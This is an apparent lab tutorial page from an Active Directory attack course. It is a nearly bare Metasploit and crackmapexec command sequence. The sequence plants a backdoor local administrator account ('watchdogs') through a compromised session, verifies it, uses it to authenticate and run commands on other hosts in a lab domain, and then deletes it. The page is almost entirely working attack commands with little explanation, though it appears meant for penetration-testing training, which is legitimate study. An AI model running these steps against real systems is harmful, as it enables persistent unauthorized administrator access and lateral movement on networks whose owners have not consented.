> For the complete documentation index, see [llms.txt](https://watchdogsacademy.gitbook.io/attacking-active-directory/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://watchdogsacademy.gitbook.io/attacking-active-directory/metasploit/back-door-add-user.md).

# Back Door Add User

<pre><code>
<strong>#Back Door Add User
</strong>
#search add_user 
use post/windows/manage/add_user
info
set username watchdogs
set password Watchdogs123!
set group administrators
set session 1
run

sessions -i 1
shell
net users
net localgroup administrators

#can we authenticate?
crackmapexec smb -u watchdogs -p Watchdogs123! -d north.newyork.local 192.168.56.22
crackmapexec smb -u watchdogs -p Watchdogs123! -d north.newyork.local 192.168.56.22 -x whoami /all
crackmapexec smb -u watchdogs -p Watchdogs123! -d north.newyork.local 192.168.56.11


<strong>#Delete user:
</strong>
search delete_user
use 17
set session 1
set username watchdogs

sessions -i 1
shell
net users
</code></pre>